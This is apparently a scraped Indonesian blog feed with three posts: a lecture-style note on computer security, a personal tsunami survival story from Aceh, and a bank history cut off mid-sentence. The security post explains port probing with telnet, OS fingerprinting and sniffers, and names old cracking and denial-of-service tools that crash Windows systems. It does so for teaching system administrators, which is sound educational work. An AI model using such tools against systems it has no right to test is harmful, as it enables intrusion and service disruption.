/>SEBAB MASALAH KEAMANAN HARUS SELALU DIMONITOR :<br /><br />• Ditemukannya lubang keamanan (security hole) yang baru. Perangkat lunak dan perangkat keras biasanya sangat kompleks sehingga tidak mungkin untuk diuji seratus persen. Kadang-kadang ada lubang keamanan yang ditimbulkan oleh kecerobohan implementasi.<br /><br />• Kesalahan konfigurasi. Kadang-kadang karena lalai atau alpa, konfigurasi sebuah sistem kurang benar sehingga menimbulkan lubang keamanan. Misalnya mode (permission atau kepemilikan) dari berkas yang menyimpan password (/etc/passwd di sistem UNIX) secara tidak sengaja diubah sehingga dapat diubah atau ditulis oleh orang-orang yang tidak berhak.<br /><br />• Penambahan perangkat baru (hardware dan/atau software) yang menyebabkan menurunnya tingkat security atau berubahnya metoda untuk mengoperasikan sistem. Operator dan administrator harus belajar lagi. Dalam masa belajar ini banyak hal yang jauh dari sempurna, misalnya server atau software masih menggunakan konfigurasi awal dari vendor (dengan password yang sama).<br /><br /><br />SUMBER LUBANG KEAMANAN<br /><br />1. Salah Disain (design flaw)<br /><br />• Umumnya jarang terjadi. Akan tetapi apabila terjadi sangat sulit untuk diperbaiki. Akibat disain yang salah, maka biarpun dia diimplementasikan dengan baik, kelemahan dari sistem akan tetap ada.<br />• Contoh :<br />• Lemah disainnya algoritma enkripsi ROT13 atau Caesar cipher, dimana karakter digeser 13 huruf atau 3 huruf. Meskipun diimplementasikan dengan programming yang sangat teliti, siapapun yang mengetahui algoritmanya dapat memecahkan enkripsi tersebut.<br />• Kesalahan disain urutan nomor (sequence numbering) dari paket TCP/IP. Kesalahan ini dapat dieksploitasi sehingga timbul masalah yang dikenal dengan nama “IP spoofing” (sebuah host memalsukan diri seolah-olah menjadi host lain dengan membuat paket palsu setelah engamati urutan paket dari host yang hendak diserang).<br /><br />2. Implementasi kurang baik<br />• Banyak program yang diimplementasikan secara terburu-buru sehingga kurang cermat dalam pengkodean.<br />• Akibat tidak adanya cek atau testing implementasi suatu program yang baru dibuat.<br />• Contoh:<br />• Tidak memperhatikan batas (“bound”) dari sebuah “array” tidak dicek sehingga terjadi yang disebut out-of-bound array atau buffer overflow yang dapat dieksploitasi (misalnya overwrite ke variable berikutnya).<br />• Kealpaan memfilter karakter-karakter yang aneh-aneh yang dimasukkan sebagai input dari sebuah program sehingga sang program dapat mengakses berkas atau informasi yang semestinya tidak boleh diakses.<br /><br />3. Salah konfigurasi<br />Contoh :<br />• Berkas yang semestinya tidak dapat diubah oleh pemakai secara tidak sengaja menjadi “writeable”. Apabila berkas tersebut merupakan berkas yang penting, seperti berkas yang digunakan untuk menyimpan password, maka efeknya menjadi lubang keamanan. Kadangkala sebuah komputer dijual dengan konfigurasi yang sangat lemah.<br />• Adanya program yang secara tidak sengaja diset menjadi “setuid root” sehingga ketika dijalankan pemakai memiliki akses seperti super user (root) yang dapat melakukan apa saja.<br /><br />4. Salah menggunakan program atau sistem<br /> Contoh :<br />• Kesalahan menggunakan program yang dijalankan dengan menggunakan account root (super user) dapat berakibat fatal.<br /><br /><br />PENGUJI KEAMANAN SISTEM<br /><br />Untuk memudahkan administrator dari sistem informasi membutuhkan “automated tools”, perangkat pembantu otomatis, yang dapat membantu menguji atau meng-evaluasi<br />keamanan sistem yang dikelola.<br /><br />Contoh Tools Terintegrasi:<br /><br />Perangkat lunak bantu Sistem Operasi<br />Cops UNIX<br />Tripwire UNIX<br />Satan/Saint UNIX<br />SBScan: localhost security scanner UNIX<br />Ballista <http: com=""> Windows NT<br />Dan sebagainya… (cari sendiri!)<br /><br />Contoh Tools Pengujian yang dibuat para hacker :<br /><br />Tools Kegunaan<br />Crack program untuk menduga atau memecahkan password<br />dengan menggunakan sebuah atau beberapa kamus (dictionary). Program crack ini melakukan brute force cracking dengan mencoba mengenkripsikan sebuah kata yang diambil dari kamus, dan kemudian membandingkan hasil enkripsi dengan password<br />yang ingin dipecahkan.<br />land dan latierra sistem Windows 95/NT menjadi macet (hang, lock up). Program ini mengirimkan sebuah paket yang sudah di”spoofed” sehingga seolah-olah paket tersebut berasal dari mesin yang sama dengan menggunakan port yang terbuka<br />Ping-o-death sebuah program (ping) yang dapat meng-crash-kan Windows 95/NT dan beberapa versi Unix.<br />Winuke program untuk memacetkan sistem berbasis Windows<br />Dan sebagainya… (cari sendiri!)<br /><br /><br />PROBING SERVICES<br /><br />• Defenisi Probing : “probe” (meraba) servis apa saja yang tersedia. Program ini juga dapat digunakan oleh kriminal untuk melihat servis apa saja yang tersedia di sistem yang akan diserang dan berdasarkan data-data yang diperoleh dapat melancarkan serangan.<br /><br />• Servis di Internet umumnya dilakukan dengan menggunakan protokol TCP atau UDP. Setiap servis dijalankan dengan menggunakan port yang berbeda, misalnya:<br />o SMTP, untuk mengirim dan menerima e-mail, TCP, port 25<br />o POP3, untuk mengambil e-mail, TCP, port 110<br /><br />Contoh di atas hanya sebagian dari servis yang tersedia. Di system UNIX, lihat berkas /etc/services dan /etc/inetd.conf untuk melihat servis apa saja yang dijalankan oleh server atau komputer yang bersangkutan.<br /><br />• Pemilihan servis apa saja tergantung kepada kebutuhan dan tingkat keamanan yang diinginkan. Sayangnya seringkali sistem yang dibeli atau dirakit menjalankan beberapa servis utama sebagai “default”. Kadang-kadang beberapa servis harus dimatikan karena ada kemungkinan dapat dieksploitasi oleh cracker. Untuk itu ada beberapa program yang dapat digunakan untuk melakukan<br /><br />• Untuk beberapa servis yang berbasis TCP/IP, proses probe dapat dilakukan dengan menggunakan program telnet. Misalnya untuk melihat apakah ada servis e-mail dengan menggunakan SMTP digunakan telnet ke port 25 dan port 110.<br /><br />unix% telnet target.host.com 25<br />unix% telnet localhost 110<br /><br /><br />Program penguji probing (penguji semua port otomatis) :<br /><br />Paket probe untuk sistem UNIX<br />• nmap<br />• strobe<br />• tcpprobe<br /><br />Probe untuk sistem Window 95/98/NT<br />• NetLab<br />• Cyberkit<br />• Ogre<br /><br />Program yang memonitor adanya probing ke system<br /><br />Probing biasanya meninggalkan jejak di berkas log di system anda. Dengan mengamati entry di dalam berkas log dapat diketahui adanya probing. Selain itu, ada juga program untuk memonitor probe seperti paket program courtney, portsentry dan tcplogd.<br /><br /><br />OS FINGERPRINTING<br /><br />• Fingerprinting : Analisa OS sistem yang ditujua agar dapat melihat database kelemahan sistem yang dituju.<br /><br />• Metode Fingerprinting :<br />• Cara yang paling konvensional :<br />o Service telnet ke server yang dituju, jika server tersebut kebetulan menyediakan servis telnet, seringkali ada banner yang menunjukkan nama OS beserta versinya.<br />o Service FTP di port 21. Dengan melakukan telnet ke port tersebut dan memberikan perintah “SYST” anda dapat mengetahui versi dari OS yang digunakan.<br />o Melakukan finger ke Web server, dengan menggunakan program netcat (nc).<br />• Cara fingerprinting yang lebih canggih adalah dengan menganalisa respon sistem terhadap permintaan (request) tertentu. Misalnya dengan menganalisa nomor urut packet TCP/IP yang dikeluarkan oleh server tersebut dapat dipersempit ruang jenis dari OS yang digunakan. Ada beberapa tools untuk melakukan deteksi OS ini antara lain:<br />o nmap<br />o queso<br /><br /><br />PENGGUNAAN PROGRAM PENYERANG<br /><br />• Untuk mengetahui kelemahan sistem informasi adalah dengan menyerang diri sendiri dengan paket-paket program penyerang (attack) yang dapat diperoleh di Internet.<br /><br />• Selain program penyerang yang sifatnya agresif melumpuhkan sistem yang dituju, ada juga program penyerang yang sifatnya melakukan pencurian atau penyadapan data.<br /><br />• Untuk penyadapan data, biasanya dikenal dengan istilah “sniffer”. Meskipun data tidak dicuri secara fisik (dalam artian menjadi hilang), sniffer ini sangat berbahaya karena dia dapat digunakan untuk menyadap password dan informasi yang sensitif. Ini merupakan serangan terhadap aspek privacy.<br /><br />• Contoh program penyadap (sniffer) antara lain:<br />o pcapture (Unix)<br />o sniffit (Unix)<br />o tcpdump (Unix)<br />o WebXRay (Windows)<br /><br /><br />PENGGUNAAN SISTEM PEMANTAU JARINGAN<br /><br />• Sistem pemantau jaringan (network monitoring) dapat digunakan untuk mengetahui adanya lubang keamaman.<br /><br />• Misalnya apabila anda memiliki sebuah server yang semetinya hanya dapat diakses oleh orang dari dalam, akan tetapi dari pemantau jaringan dapat terlihat bahwa ada yang mencoba mengakses melalui tempat lain. Selain itu dengan pemantau jaringan dapat juga dilihat usaha-usaha untuk melumpuhkan sistem dengan melalui denial of service attack (DoS) dengan mengirimkan packet yang jumlahnya berlebihan.<br /><br />• Network monitoring biasanya dilakukan dengan menggunakan protokol SNMP (Simple Network Management Protocol).<br /><br />Program network monitoring / management :<br />• Etherboy (Windows), Etherman (Unix)<br />• HP Openview (Windows)<br />• Packetboy (Windows), Packetman (Unix)<br />• SNMP Collector (Windows)<br />• Webboy (Windows)<br /><br />Program pemantau jaringan yang tidak menggunakan SNMP :<br />• iplog, icmplog, updlog, yang merupakan bagian dari paket iplog untuk memantau paket IP, ICMP, UDP.<br />• iptraf, sudah termasuk dalam paket Linux Debian netdiag<br />• netwatch, sudah termasuk dalam paket Linux Debian netdiag<br />• ntop, memantau jaringan seperti program top yang memantau proses di sistem Unix<br />• trafshow, menunjukkan traffic antar hosts dalam bentuk text-mode<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />KEAMANAN DATABASE<br /><br />Penyerangan Database<br />• Informasi sensitif yang tersimpan di dalam database dapat terbuka (disclosed) bagi orang-orang yang tidak diizinkan (unauthorized ).<br />• Informasi sensitif yang tersimpan di dalam database dapat altered in an unacceptable manner<br />• Informasi sensitif yang tersimpan di dalam database dapat inaccessible bagi orang-orang yang diizinkan.<br />• the underlying operating system may be attacked -- most difficult problem<br /><br />Database Inference Problem<br />• Malicious attacker may infer sensitive information (that is hidden) from information on a database that is deemed not sensitive (made public)<br />• More difficult problem: attacker may infer information combining what’s on the database with what is already known<br /><br />Database Aggregation Problem<br />• Bagian-bagian informasi tidak sensitive, dan menjadi sensitive ketika digabungkan secara bersamaan.<br />• Controls for the aggregation problem<br />o Honeywell LOCK Data Views (LDV) database system ; pieces of data labeled as nonsensitive, aggregates labeled as sensitive<br />o SRI SeaView database system ; pieces of data labeled as sensitive, aggregates may then be labeled as non sensitive<br /><br />Polyinstantiation, a Control Against Disclosure<br />• This approach involves different views of a database object existing for users with different security attributes<br />• Addresses the aggregation problem by providing different security labels to different aggregates separately<br />• Addresses the inference problem by providing a means for hiding information that may be used to make inferences<br /><br />Database Applications on Secure Bases<br />• Most database applications rely on underlying services of an operating system<br />• Exporting these services from a TCB would enhance the security of the database<br />o database keys implemented using security labels from underlying TCB<br />o TCB keeps audit records of operations on database<br />o OS file system protection extended to database<br /><br /><br /></http:></nama></group></nama></owner></http:>jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-68648728570034371482010-04-26T04:28:00.000-07:002010-04-26T04:29:44.001-07:00KISAH NYATA KORBAN TSUNAMIPada musim haji dua tahun lalu aku pernah ditugasi untuk membantu menangani proses pemberangkatan jemaah haji Indonesia di embarkasi Aceh. Waktu itu kondisi politik dan keamanan cukup menghangat, tetapi tugas itu dapat aku laksanakan dengan baik dan aku kembali ke Jakarta dengan selamat. Desember 2004 ini aku kembali ditugasi oleh Bos ku untuk ikut kembali ke Aceh membantu pemberangkatan jemaah Haji dari embarksi Aceh. Rasanya gembira juga bisa ikut berpatisipasi dalam tugas mulia ini. Singkat cerita di Aceh aku diinapkan di Hotel Kuala Tripa di lantai 2, hari itu adalah hari terakhir aku bertugas di Aceh dan aku melapor ke Manager Aceh bahwa besok pagi aku akan kembali ke Jakarta. “Pak Kamdo hari ini aku balik ke Jakarta, Surat Perjalanan Dinas ku sudah selesai …” lapor ku ke Pak Sukamdo Manajer Garuda di Aceh. “Wah Pak Sanwani, jangan gitu dong … kamu sangat dibutuhkan di operasional haji disini …” keluh Pak Kamdo, “kamu di extend, spj kamu diperpanjang ya sampai dua hari … sebulan juga boleh… oke ya ??!” pinta Pak Kamdo setengah memaksa. “Enggak bisa Pak, pokoknya saya harus pulang ke Jakarta besok pagi” aku memberanikan diri membantah Pak Kamdo. Akhirnya Pak Kamdo menyerah “Ya sudahlah … tapi semua kerjaan beres khan ??” “Beres semua Bos ! …temen-teman nanti yang gantin saya juga sebentar lagi datang dari Jakarta” jawabku, Pak Kamdo orangnya baik, semua fasilitas untuk pekerjaanku dilengkapinya, apa yang aku minta untuk menunjang operasional pekerjaan langsung disediakannya, sehingga aku bekerja bisa lancar tanpa hambatan berarti.<br /><br />Malam itu aku berbenah di kamar, koper yang sudah aku pack, aku buka lagi kayanya ada yang lupa apa yaa … seolah koper ini enggan ditutup. Ku buka lagi ku tutup lagi … apa-apaan nih…pikir ku. Oleh-olehyang aku siapkan dikulkas kamar hotel aku keluarkan, tapi tak lama aku masukan lagi ke kulkas … kenapa nih pikiranku koq gak konsen gini ??? Sepertinya ada yang mencegah oleh-oleh itu untuk aku bungkus biar kubawa ke Jakarta.<br /><br />Aah …lupakan saja , tidur aja dulu …Hari Minggu pagi jam setengah tujuh tanggal 26 Desember 2004 aku sudah rapih berpakaian dan langsung menuju restoran dilantai bawah hotel tempat ku menginap untuk breakfast, rekan2 lain juga sudah mulai berkumpul, agak-agaknya makan pagi ini akan terasa makan yang paling nikmat karena tugas-tugasku sudah selesai, tinggal pulang ke Jakarta ketemu anak isteri begitu angan-anganku. Belum lagi kami mengambil makanan … masih dalam keadaan berdiri … sejenak terasa kakiku berguncang -guncang, tidak hanya itu, kuperhatikan sekeliling ruangan restoran dindingnya bergerak-gerak, makin lama guncangan itu makin kuat….<br /><br />“Gempa..gempaaaa …ada gempa !!!!” teriak orang-orang yang ada diruangan itu, aku masih belum tersadar, aku masih melihat sekeliling ruangan … mulai satu-satu tiang diruangan itu seperti amblas perlahan-lahan … seperti mau runtuh perlahan-lahan … aku tidak dapat menggambarkannya dengan kata-kata …<br /><br />“Gempaaaa …!!!!” baru pada teriakan yang kedua aku tersadar, ini benar-benar ada gempa !!. Semua tamu berlarian keluar ruangan, sambil berlarian sempat aku lihat tiang-tiang bangunan itu mulai runtuh, sampai diluar hotel kembali kami harus berlari menjauh dari bangunan hotel karena kaca-kaca hotel pada pecah, seperti meledak … menghamburkan potongan-potongan kaca ke segala arah. Sambil merunduk kami terus berlari tambah kencang. Pada saat itu teringat dalam pikiranku didepan hotel ada taman agak luas, rupanya semua rekan-rekan bepikiran sama, kesana kami semua berlarian berhamburan dengan penuh kepanikan. Sampai ditaman kami berhenti berlari, sambil berdiri terasa gempa masih mengguncang-guncang tubuh kami. Didekat taman ternyata ada tiang antene besar terbuat dari besi, berpikiran tiang antene akan ambruk kami berlari lagi menjauh … gempa itu masih terus mengguncang tubuh kami, sampai didekat taman ada pohon asem besar seolah ada yang membisikan kepadaku “Pegangan pohon itu …” tanpa pikir panjang aku peluk pohon asem besar itu, pohon itu lebih besar dari pelukkan tanganku sehingga tanganku tidak dapat bertemu dengan tangan yang satunya. Melihat aku memeluk pohan asem itu teman-teman yang lain berlari ke pohon asem itu dan ikut-ikutan berpegangan dan berpelukan seperti ku.<br /><br />Sehingga kami saling berpegangan erat melingkari pohon dan yang mendapat lingkaran diluar saling melapisi dengan badannnya sehingga pelukan itu makin kuat. Hal ini kami lakukan karena gempa itu demikian kuatnya dan masih terus mengguncang-guncang kami. Kurang lebih sepuluh menit guncangan hebat itu mereda … kami mulai meregangkan pelukan … dan mulai memandang ke sekeliling … ternyata hotel tempat ku menginap sudah runtuh dua lantai kebawah. Tak terbayang olehku apa jadi kalau kami masih ada diruangan restoran tadi. Belum lagi rasa ketakutan ku hilang, terdengar suara teriakan<br /><br />“Air..Aiiir !!!” aku pikir ada korban gempa yang sangat membutuhkan air minum ternyata<br /><br />…”Ada aiir !..Air datang, air datang !!!” Ooh, ternyata ini air banjir yang datang ! kulihat orang berlari-larian kesana kemari menyelamatkan diri dari kejaran air. Tanpa pikir panjang akupun ikut berlari, tapi ke mana aku harus berlari, sambil berlari sekuat-kuatnya tanpa sadar aku berucap berulang-ulang “Allohu Akbar…Allohu Akbar..Allohu Akbar” terus tak berhenti berlari entah harus kemana dengan rasa takut yang tak terkirakan, pikiran kalut, kacau, yang ada hanya menyelamatkan diri. Sambil berlari dan mengucap takbir seolah ada yang memberiku ilham, tiba-tiba terlintas dipikiran “Air itu mencari tanah yang lebih rendah …” ku arahkan lariku ke tanah daerah yang lebih tinggi, “ya tapi harus lari kemana ???” buntu pikiranku… sambil terus bertakbir, kembali seolah ada yang membisiki ku “lari ke arah kanan” aku ikuti bisikan itu aku lari berbelok ke kanan, ternyata yang kutemui adalah tanggul yang tingginya satu setengah meter, akupun mencoba untuk menaikinya tapi tak berhasil karena begitu lelah setelah terus berlari, kulihat dibelakangku … rupanya teman-temanku berlari mengikuti arah ku berlari sehingga kami berkumpul dibawah tanggul. Sambil bahu membahu, berpegangan tangan, yang berhasil naik keatas tanggul membantu mengangkat yang laiinya sampai semua berhasil naik tidak ada yang tertinggal. Aku melihat kearah belakang lagi, ternyata sudah mulai ada korban-korban yang tersapu oleh air yang mengerikan itu, tetapi air masih mengejar kami, “lari … lari … airnya mulai naik !!!” teriak ku.<br /><br />Tanpa sengaja aku berlari paling depan dan semua teman-teman mengikuti di belakang. Ooh … harus kemana aku ber lari, napasku tersengal-sengal “Allohu Akbar…Allohu Akbar..Allohu Akbar” hanya dalam hati karena tak sanggup lagi aku mengucapkannya. Kepalaku mulai pening kehabisan napas, mungkin sebentar lagi aku akan pingsan dan akan tersapu oleh air bah, pikirku. “Allohu Akbar…Allohu Akbar..Allohu Akbar” (hanya dalam hati karena tak sanggup lagi aku mengucapkannya) … seolah ada bisikan lembut tapi tegas “lari ke arah trotoar jalan besar” kuikuti bisikan itu … tetapi air sudah mulai menerpa kaki-kaki kami. Tubuh kami mulai basah oleh cipratan air sampai akhirnya basah kuyup, setengah putus asa aku berlari karena akhirnya air bah itu akan menelan kami juga, ooh inilah ajal mungkin sudah tiba, pikirku, “Allohu Akbar…Allohu Akbar..Allohu Akbar” (hanya dalam hati karena tak sanggup lagi aku mengucapkannya).<br /><br />“Lari terus kearah trotoar jalan besar” aah bisikan itu datang lagi, kuikuti lagi, sambil menoleh kebelakang, ternyata teman-teman masih mengikuti dibelakang mengikuti arah lariku, kulihat dibelakangku saluran-saluran air sudah meluap airnya, airnya mengalir deras membawa sampah, potongan-potongan kayu, mengerikan ! Dikejauhan semakin banyak orang yang mulai terjatuh tertelan air bah, arah lari mereka memang berlawanan dengan arah ku. Aku tidak berani menoleh lagi, sungguh pemandangan yang menakutkan, mengerikan. Dalam keadaan berlari, bingung arah mana yang harus kutempuh, sejenak kemudian terdengar lagi bisikan “lihat gorong-gorong, lari ke trotoar”<br />“ya aku lari ke arah trotoar itu … tapi apa maksudnya disuruh melihat gorong-gorong ??” pikirku sambil terus berlari.<br /><br />Berlari …terus sambil berlari kulihat gorong-gorong yang ada sisi-sisi jalan dimana kuberlari, ya betul ! digorong-gorong itu tidak ada air yang menggenang … tidak ada air yang mengalir kearah gorong-gorong itu … ooh ini rupanya jawabannya, air bah itu pasti mencari saluran air dan yang ada hanya gorong-gorong itu, air tidak sampai mengalir kearah gorong-gorong itu berarti, arah lariku adalah benar mencapai daerah yang lebih tinggi ! Oooh Yaa Alloooh …Engkau Yang Maha Ghaib … Engkau Bisikan Suara GhaibMu untuk membimbingku berlari … tanpa terasa air mataku berlinang, doa kupanjatkan dalam hati “Yaaa Alloooh tuntunlah kami, lindungilah kami…” semangatku terpompa kembali untuk terus berlari … sampai kupastikan daerah itu tidak ada air yang menjangkaunya, perlahan-lahan aku berhenti berlari dan habis sudah napas ini, akhirnya aku berhenti dan duduk tersungkur dipinggir trotoar.<br /><br />Dengan napas yang tinggal satu-satu dan kepalaku mulai pening, berat sekali rasanya kepalaku ini. Sementara aku duduk ditrotoar ternyata rekan-rekanku masih mengikuti arah lari dan ikut berhenti dan ikut duduk dan tersungkur ditrotoar tetapi rekan-rekan yang wanita tidak dapat duduk lagi langsung lunglai pingsan, kami biarkan saja karena kami sendiri juga dalam keadaan kepayahan, ketakutan , belum dapat bernapas dan berpikir dengan baik, setengah hilang kesadaran. Hampir setengah jam kami terduduk, ada yang mulai siuman dari pingsannya, ada yang mulai menagis tersedu-sedu, ada yang menyeringai menahan kakinya yang sakit, ada yang terdiam membisu, masih terbayang-bayang kejaran air bah itu, masih teringat orang-orang yang berjatuhan ditelan bah, runtuhnya hotel, Oooh Tuhan apa yang sedang terjadi ??<br /><br />Perlahan-lahan kesadaran kami mulai timbul, “Pak kemana lagi kita akan berlari ???” tanya seorang rekan kepadaku, rupanya arah lariku dijadikannya tumpuan bagi rekan-rekanku. “Tidak tahu lagi saya harus kemana, kita berhenti dulu disini … “Jawabku sekenanya, sambil mengenang dan mengingat-ingat akan Bisikan Ghaib itu, hatiku menangis… bagaimana jadinya bila tidak ada yang menuntunku berlari, mungkin aku juga sudah tersapu oleh air bah itu… terasa betapa aku sangat membutuhkan dan berharap-harap Bisikan itu datang lagi. Setelah hening tidak terdengar lagi bisikan itu, tapi aku yakin sudah bahwa Bisikan Itu adalah petunjuk bagi keselamatan diriku dan rekan-rekanku. Aku bersyukur dalam hati masih dilindungi oleh Yang Maha Ghaib.<br /><br />Kehingan kami tidak berlangsung lama, kurang lebih satu jam kami hanya berdiam diri, setelah tenaga terkuras habis, perasaan lapar mulai menyergap, karena kami memang belum sempat menyantap sarapan kami sewaktu terjadi gempa tadi. Rekan wanita mulai ada yang mengeluh “Perutku mulai terasa lapar …” aku dan rekan-rekan yang lain berdiam diri saja, tidak ada yang menanggapi walaupun kami tahu bahwa semua pasti belum sarapan tapi kemana harus mencari makan dalam keadaan kacau balau seperti ini. Masih untung kami bisa hidup, apa jadinya kalau tadi kami salah arah dalam berlari, bisa jadi terjebak dipusaran air bah yang masuk sampai ketengah kota.<br /><br />Tetapi Alloh Maha Pengasih Lagi Maha Penyayang, kuedarkan pandangan ku kesekeliling, jalan itu sepi, lenggang, ada beberapa bangunan ruko masih tutup, tapi mataku terpaku disalah satu ruko tulis dipapannya “Rumah Makan Padang”, lho koq sudah ada rumah makan padang yang buka??? Rasa gembiraku bukan kepalang, kami bergegas ke rumah makan itu, setelah selidik punya selidik ternyata rumah makan itu sudah kosong ditinggalkan pemiliknya, tetapi makanannya lengkap dan kayaknya baru dimasak, masih hangat !!! Waduh gimana ini, mau makan bayarnya ke siapa ?? Makan tanpa bayar juga bisa, tapi itu mencuri namanya ! “Bagaimana kalau kita makan saja dulu” kemudian kita tinggalkan saja uang kita dilacinya ??” aku mengusulkan karena aku merasa dikantongku masih ada uang sisa perjalanan dinasku. Tanpa menunggu lama lagi rekan-rekanku langsung setuju. Kami makan dengan lahapnya, Yaa Alloh Yaa Rahman Yaa Rahim … ampuni kami…walaupun didalam bencana besar ini Kasih Sayang Mu masih memayungi jiwa-jiwa kami, masih juga kami diberi Nya makan.<br /><br />Tak lama setelah selesai makan muncul serombongan ibu-ibu ada anak-anak juga melintas didepan rumah makan itu, mereka melongokkan kepala kepada kami “Pak kami mau beli makanan, tapi kami tidak punya uang, rumah kami hancur, kami lapar Pak ??” Tersentak kami semua mendengar nya, spontan rekan-rekan menjawab “Kami bukan pemilik rumah makan ini, tapi kalau mau makan silahkan ambil saja, makan saja, kami yang bayar” jawab kami seketika. Tanpa dikomando mereka menyendok makan itu dan memakannya dengan lahap, sebentar saja seluruh makanan sudah ludes, selesailah makan mereka. Dengan rasa gembira ibu-ibu dan anak-anak itu mengucapkan terima kasih berkali-kali, “Terus ibu-ibu ini mau kemana ?” tanya salah seorang rekanku, seketika kegembiraan ibu-ibu itu lansung sirna, “Kami akan mencari keluarga kami yang hilang tersapu air bah, entah mencarinya kemana …” mendung menggayut dimata ibu itu. Mereka pun berpamitan dan berjalan pelan-pelan menyusuri trotoar, entah hendak kemana.<br /><br />Aku dan rekan-rekan menghela napas, sambil berdoa semoga keluarga mereka dalam keadaan selamat semua. Kami termenung kembali, sejenak kemudian mulai saling berbicara apa yang akan kami lakukan selanjutnya. Akhirnya diputuskan kami kembali ke arah hotel tempat menginap. Serasa sudah aman kami berjalan kembali kearah hotel, sepanjang jalan terlihat betapa ganasnya air bah itu menyapu kota Aceh ! tidak hanya bangunan-bangunan yang hancur, terlihat juga tumpukan tubuh manusia saling bertumpuk di gorong-gorong air, menyumbat saluran air, mengerikan sekali …<br /><br />Sesampainya dilokasi hotel, terlihat bangunannya sudah runtuh, sangat >berbahaya bila didekati. Kami putuskan untuk berjalan kearah Airport, semoga disana masih ada rekan-rekan yang sudah selamat terlebih dahulu. Letak Airport ada didataran yang agak tinggi, sesampainya di Airport kami baru bisa bertemu dengan rekan-rekan lainnya yang ikut selamat dari hantaman air bah. Setelah itu kami sepakat menjadikan Airport sebagai Posko sementara dan selanjutnya harus bagaimana … aaah entahlah … aku badanku tidak kuat lagi, hatiku menangis bila mengingat mayat-mayat yang bergelimpangan, aku tertidur diluar gedung airport karena kemungkinan masih ada gempa susulan, aku pejamkan mataku … aku tidak dapat berfikir lagi… Yaa Alloh bukakan mata hati kami untuk dapat mendapat hikmah dari semua ini .jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-24227777198958043132010-04-26T01:41:00.000-07:002010-04-26T01:43:42.029-07:00Sejarah Berdirinya PT Bank BPD Aceh<!-----------------------------------ARTIKEL DETAIL--------------------------------><span style="font-size: 9pt;"><strong>Riwayat dan Perubahan Nama Serta Badan Hukum</strong><br />- 19 Nopember 1958 : NV. Bank Kesejahteraan Atjeh (BKA)<br /> - 6 Agustus 1973 : Bank Pembangunan Daerah Istimewa Aceh (BPD IA)<br /> - 5 Februari 1993 : PD. Bank Pembangunan Daerah Istimewa Aceh (PD. BPD IA)<br /> - 7 Mei 1999 : PT. Bank Pembangunan Daerah Istimewa Aceh, disingkat menjadi: PT. Bank BPD Aceh <div align="justify"> </div><div align="justify">Ide Pembentukan Bank Pembangunan Daerah Istimewa Aceh, berawal pada saat pembentukan Propinsi Daerah Istimewa Aceh tahun 1956. Pada masa tersebut, Pemerintah Daerah belum memiliki Bank tersendiri, yang dijadikan sebagai alat kelengkapan Pemerintah Daerah, yang bertujuan untuk meningkatkan pertumbuhan ekonomi di daerah, meningkatkan taraf hidup rakyat serta menambah Pendapatan Asli Daerah (PAD). Atas dasar kepentingan tersebut, Pemda memandang perlu adanya lembaga keuangan milik daerah yang berperan sebagai Bank Pembangunan di daerah, disamping bank-bank pemerintah yang telah ada sebelumnya.<br /> <br /> Ide pembentukan bank daerah tersebut, mendapatkan dukungan sepenuhnya dari Dewan Perwakilan Rakyat Daerah Peralihan Propinsi Atjeh di Kutaradja. Hal ini ditandai dengan terbitnya Surat Keputusan Nomor 7/DPRD/5 tanggal 7 September 1957. Selanjutnya Pemerintah Daerah Pemerintah Daerah Peralihan Propinsi Atjeh. Dengan Akte Wakil Notaris Mula Pangihutan Tamboenan di Kutaradja Nomor 1 tanggal 1 April 1958, mendirikan Perseroan Terbatas (Naamloze Vennootschap) “Bank Kesejahteraan Atjeh N.V” Untuk adanya legalitas operasionalnya, yang telah dimulai sejak tanggal 19 November 1958, bank ini telah pula mendapat izin dari Menteri Keuangan Republik Indonesia Nomor 12096/BUM/11 tanggal 2 Februari 1960, serta pengesahan sebagai Badan Hukum dari Menteri Kehakiman Republik Indonesia dengan Surat Keputusan Nomor J.A.S/22/9 tanggal 18 Maret 1960.<br /> <br />Pada tahun 1962 Pemerintah Republik Indonesia mengeluarkan Undang-undang Nomor 13 tahun 1962 tentang ketentuan-ketentuan Pokok Bank Pembangunan Daerah. “Bank Kesejahteraan Atjeh, N.V” harus menyesuaikan diri dengan Undang-undang dimaksud. Untuk itu Pemda menetapkan Peraturan Daerah (Perda) Nomor 12 tahun 1963 tanggal 20 Desember 1963 tentang Bank Pembangunan Daerah Istimewa Aceh. Atas dasar kekuatan Perda tersebut, Gubernur KDH Istimewa Aceh melalui Surat Keputusan Nomor 54/1973 tanggal 17 April 1973 menetapkan pelaksanaan pengalihan Bank Kesejahteraan Atjeh, N.V. Menjadi Bank Pembangunan Daerah Istimewa Aceh. Secara resmi pengalihan dilaksanakan pada tanggal 6 Agustus 1973, yang kemudian diperingati sebagai Hari Jadi Bank Pembangunan Daerah Istimewa Aceh.<br /> <br />Untuk memberi ruang gerak yang optimal, sejalan dengan perkembangan di sektor moneter di tanah air, Bank Pembangunan Daerah Istimewa Aceh harus melakukan beberapa perubahan atas isi Perda, khususnya di sektor permodalan, yaitu Perda Nomor 10 Tahun 1974, Perda Nomor 6 Tahun 1978. Perda Nomor 5 Tahun 1982 dan Perda Nomor 8 Tahun 1988.<br /> <br /> <br /> Untuk memperkuat fundamental industri perbankan di tanah air, sejalan dengan tuntutan perkembangan ekonomi makro, serta untuk menyesuaikan dengan ketentuan-ketentuan perbankan di dunia internasional. Pemerintah mengeluarkan Undang-undang Nomor 7 Tahun 1992 tentang perbankan sebagaimana telah diubah dengan Undang-undang Nomor 10 Tahun 1998.<br /> <br /> <br />Untuk menindak lanjuti pelaksanaan Undang-undang tersebut, Menteri Dalam Negeri mengeluarkan peraturan Nomor 8 Tahun 1992 tentang penyesuaian Peraturan Pendirian Bank Pembangunan Daerah dengan Undang-undang Nomor 7 Tahun 1992, antara lain memberi kebebasan kepada Bank Pembangunan Daerah untuk memilih salah satu dari empat bentuk badan hukum, yakni, Perusahaan Perseroan, Perusahaan Daerah, Koperasi dan Perseroan Terbatas.<br /> <br /> <br />Melihat kepada misi dan tujuan pendirian Bank Pembangunan Daerah untuk membantu dan mendorong pertumbuhan perekonomian dan pembangunan daerah di segala bidang, Bank Pembangunan Daerah Istimewa Aceh memilih bentuk hukum sebagai Perusahaan Daerah yang ditetapkan di dalam Perda Nomor 